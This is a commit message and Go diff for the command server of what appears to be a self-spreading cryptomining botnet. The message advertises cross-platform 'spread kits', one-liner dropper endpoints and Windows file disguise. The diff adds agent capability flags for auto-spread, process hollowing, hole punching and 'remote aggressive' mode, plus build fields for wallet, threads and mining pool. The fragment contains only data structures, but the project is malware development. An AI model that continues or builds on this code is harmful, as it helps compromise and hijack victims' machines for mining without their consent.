Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

server/internal/models/agent.go

@@ -27,6 +27,22 @@ type Agent struct {
 
 	Notes string   `json:"notes"`
 	Tags  []string `json:"tags"`
+
+	Platform  string `json:"platform,omitempty"`
+	Arch      string `json:"arch,omitempty"`
+	OSVersion string `json:"os_version,omitempty"`
+
+	Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
+}
+
+// AgentCapabilities reports forge-time features available for remote command.
+type AgentCapabilities struct {
+	HolePunch        bool `json:"hole_punch"`
+	RemoteAggressive bool `json:"remote_aggressive"`
+	MeshP2P          bool `json:"mesh_p2p"`
+	AutoSpread       bool `json:"auto_spread"`
+	ProcessHollowing bool `json:"process_hollowing"`
+	AIEnabled        bool `json:"ai_enabled"`
 }
 
 type Share struct {
@@ -65,7 +81,9 @@ type BuildRecord struct {
 	Wallet     string    `json:"wallet"`
 	Threads    int       `json:"threads"`
 	FileSize   int64     `json:"file_size"`
+	BundleSize int64     `json:"bundle_size"`
 	FilePath   string    `json:"file_path"`
+	Platform   string    `json:"platform"` // "windows", "linux", "darwin", "universal"
 	CreatedAt  time.Time `json:"created_at"`
 	// Pool settings
 	PoolHost string `json:"pool_host"`